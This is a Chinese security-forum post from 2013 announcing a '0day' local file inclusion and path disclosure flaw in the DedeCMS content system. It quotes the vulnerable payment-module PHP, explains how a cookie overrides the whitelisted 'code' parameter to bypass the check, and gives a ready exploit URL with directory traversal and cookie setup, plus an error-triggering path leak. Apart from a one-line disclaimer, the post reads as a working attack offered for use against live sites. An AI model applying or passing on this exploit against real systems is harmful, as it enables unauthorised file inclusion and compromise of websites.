找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1816|回复: 0
打印 上一主题 下一主题

dedecms本地文件包含及物理路径泄露0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:25:17 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯): x. G% p# E( V7 ?/ n/ l

. X2 ]) k7 {3 o* ]( M. B出现漏洞的两个文件为:( c! r. O0 r& Q: v
Include/payment/alipay.php
2 {' d: t# P/ Y. ^7 Z. ~" qInclude/payment/yeepay.php" m7 L7 t+ ~/ ?' L( _
漏洞均出现在respond方法里,估计这两个文件是临时工写的。, @" B2 R$ q) B6 z' F: K# ^/ N& g4 Q

0 K- V5 B( ^( a4 b; RInclude/payment/alipay.php
* H8 D4 ~* Z5 ]6 N! a) v* b8 r% ?( J5 J" M9 k1 e  {) q
......
7 I# ~: W2 v" ?3 x2 f& Z4 D   function respond()
( M! q: z) d2 }5 @    {
3 ?0 }! }; T4 Q+ A        if (!empty($_POST))
0 j( `% H# D+ e# R% d        {" i+ g/ Q' {9 v
            foreach($_POST as $key => $data)
, I4 }4 {$ S& X5 p0 ]5 E            {. M* a0 }8 |1 P3 A
                $_GET[$key] = $data;
  t5 A, g! G8 U0 C0 _0 n# A            }
9 ?9 N' b9 U1 I2 p) W6 q        }: w% N% }0 g& M8 p0 F( N2 U
        /* 引入配置文件 */3 {6 o. u& ^# p! U3 V7 b+ @% n5 p
        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';& J2 I# ]7 R: s: S; g
...... + s; C6 y& ]+ R' h3 W

! x! y6 O- l- B; U4 }2 E
$ w) t) Q- j" c9 N9 @: C  v大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。. r  m5 u/ s+ c/ ^7 D5 E8 F
9 [6 \) n7 j' J. _: `
Include/payment/yeepay.php! p1 V: s, U. _, y0 _/ Q' N) `
7 W9 F) @/ J# {. `5 D3 B! e
* E, W& g# J, v

6 b* L; e' U; \% G: x1 |......
( f% V3 o& x8 h* E, S    function respond()6 W, m) F! \+ R6 e
    {% t6 m% b' S0 g9 {. ?

2 [- s+ t+ J- Z7 E        /* 引入配置文件 */, A3 R5 p- O" E  \% {& Q
        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
0 w8 ~  e" F# f : S9 {7 L- u6 }1 x8 ?" ?' k
        $p1_MerId = trim($payment['yp_account']);7 F: v/ @) F- x2 Y
        $merchantKey = trim($payment['yp_key']);* x5 r2 o* _  C) J) v
......
: f3 k; R8 k0 c4 e2 h # x) M4 \6 @; d. `% h# z# `/ `; h
0 Z/ B. ~! d) O, O7 S2 F

, q$ t3 Y1 D" v6 s$ w6 T8 ^5 Y+ s: Y6 Y+ s+ i
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。0 ]1 E3 u" y' h7 S
6 d* M9 ]- ?$ \8 F% B. M# g5 p
这两个方法在plus/carbuyaction.php文件调用。
5 \$ j: S' K3 ]! E: M) w+ ?+ \$ t, w3 C) D) u
plus/carbuyaction.php
, ?4 P% U2 S; a' [" s! @  L8 p9 O* L
......
4 R( z. w9 {9 {- l' p' D} else if ($dopost == 'return') {
: v7 g4 r  l5 ?    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
+ V- h/ ^# W: Q3 M9 B0 @) \    if (in_array($code, $write_list))! T2 N* @2 H; }2 w
    {
4 l9 `5 w7 @, M" X4 D8 s        require_once DEDEINC.'/payment/'.$code.'.php';
! o& M" C1 H& F6 L& _4 ?/ H        $pay = new $code;
4 c9 k+ Z/ O2 `$ n/ X        $msg=$pay->respond();
# V$ O* D7 u% A, t        ShowMsg($msg, "javascript:;", 0, 3000);' X+ E# f& F! U# }3 o
        exit();  
0 i; i: a0 P! E0 q    } else {
) w- z4 {7 O& _* [4 {        exit('Error:File Type Can\'t Recognized!');
, Z, ~: G" C) G' U( B    }: a" c5 q& j3 @" |" v8 s
}
' c# g2 ], B2 ]0 z......
9 G& s2 e" ~# }( |
, u( _4 v% T( ^# A! g, z  B# ], m8 J1 E
; g2 L6 Q8 R' x. G$ I  y

/ }0 E- u$ Y/ y
9 J! u8 }, n% r' a. }
4 Y' \5 E5 d  w" _7 I% m/ V! y大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
- S! p% _" ~! [. n  h7 K- f! f; u4 b" E所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
3 S* {" x, q) I3 V* z9 W: [6 B6 F+ e! ^9 f! b
回到include/common.inc.php来看看他的机制。
6 M( H$ k" ]1 i
9 G7 @) s2 l$ ^6 i& X# v
7 \  @4 l/ G( o+ [+ j! \# e& f2 k, y3 |7 J
......
# n% v/ ]$ I+ B1 I& F$ J, K9 Gforeach(Array('_GET','_POST','_COOKIE') as $_request)* N& D$ s4 t% y# q* b" y# ]/ k
{
% i2 c! O. m4 e+ t3 e        foreach($$_request as $_k => $_v) ( R) W) {5 y9 F' H
        {
1 K1 ^; z& z9 Q5 V0 r5 P                if($_k == 'nvarname') ${$_k} = $_v;0 ^, N3 c. [! g/ S8 o7 @5 f
                else ${$_k} = _RunMagicQuotes($_v);/ I" f" g7 _! S
        }7 g, w- D$ G3 x9 Q* a
}" x/ |8 ]( A9 \/ V, I1 @
...... & R& {# q; e2 J. R0 m; R( m5 l
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:+ r1 D! r, q. ~" h! k
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表